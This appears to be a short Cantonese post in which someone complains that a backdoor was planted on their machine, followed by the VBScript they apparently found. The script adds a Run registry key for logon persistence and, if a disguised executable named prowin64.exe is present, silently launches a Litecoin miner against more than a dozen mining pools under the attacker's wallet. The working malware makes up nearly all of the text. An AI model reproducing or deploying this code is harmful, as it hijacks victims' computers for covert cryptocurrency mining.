幹!!!
俾人入咗後門
const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_
strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run\"
KeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Network"
strValue = "C:\Drivers\network\sc.lnk"
' Create key to use
Return = objReg.CreateKey(HKEY_CURRENT_USER, KeyPath)
' write string value to key
Return = objReg.SetStringValue( _
HKEY_CURRENT_USER,strKeyPath,strValueName,strValue)
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\Drivers\network\prowin64.exe") Then
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "prowin64 -S opencl:auto --scrypt -o stratum+tcp://multi2.wemineall.com:80 -u darkmatrix.file -p update -o stratum+tcp://multi1.wemineall.com:80 -u darkmatrix.file -p update -o stratum+tcp://hk.wemineltc.com:80 -u darkmatrix.file -p update -o stratum+tcp://usa.wemineltc.com:80 -u darkmatrix.file -p update -o stratum+tcp://freedom.wemineltc.com:80 -u darkmatrix.file -p update -o stratum+tcp://litecoin.tw:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://lc.mine.bz:80 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://elitter.net:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://sleipnir.syari.net:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://mint.crabdance.com:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://q30.qhor.net:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://coinp2pool.com:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update -o stratum+tcp://pool.dlunch.net:9327 -u Lh1tA61DEfQBjTFhLmtysz71r5bbgzgntD -p update --intensity=13", 0, True
Else
Wscript.Quit
End If |